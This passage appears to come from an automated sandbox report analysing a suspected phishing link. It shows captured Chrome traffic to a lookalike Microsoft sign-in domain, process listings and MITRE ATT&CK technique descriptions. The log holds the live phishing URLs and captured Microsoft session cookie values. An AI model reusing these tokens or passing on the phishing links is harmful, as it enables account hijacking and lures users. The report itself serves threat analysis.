esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0
2024-04-25 18:37:06 UTC	741	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:37:06 GMT Content-Type: image/png Content-Length: 5139 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Wed, 12 Feb 2020 03:12:12 GMT ETag: 0x8D7AF695A8C44DC x-ms-request-id: 9f6eaa19-b01e-0021-7c3f-975faf000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240425T183706Z-1556fcfc99cszcfk2kx2m35q5w00000000pg000000009tym x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-25 18:37:06 UTC	5139	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 56 00 00 00 48 08 06 00 00 00 ad 04 dd dc 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 25 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 36 3a 35 37 20 20 Data Ascii: PNGIHDRVHtEXtSoftwareAdobe ImageReadyqe<%iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	49779	138.124.184.68	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:37:05 UTC	1731	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0
2024-04-25 18:37:06 UTC	806	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:37:06 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:38 GMT ETag: 0x8D79B8373CB2849 x-ms-request-id: cac9db7c-501e-003f-303f-974d90000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240425T183706Z-174886c4d46d9csdpqy4t15pwn00000007v000000000at4e x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-25 18:37:06 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Target ID:	0
Start time:	20:36:15
Start date:	25/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	20:36:17
Start date:	25/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2384 --field-trial-handle=2344,i,12616628645249651757,12217795645111903713,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	20:36:21
Start date:	25/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://j4tpu.bpmsafelink.com/c/0aR4TTLkLUqplUI-2TrhdA"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://j4tpu.bpmsafelink.com/c/0aR4TTLkLUqplUI-2TrhdA

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 125

Chrome Cache Entry: 126

Windows Analysis Report
https://j4tpu.bpmsafelink.com/c/0aR4TTLkLUqplUI-2TrhdA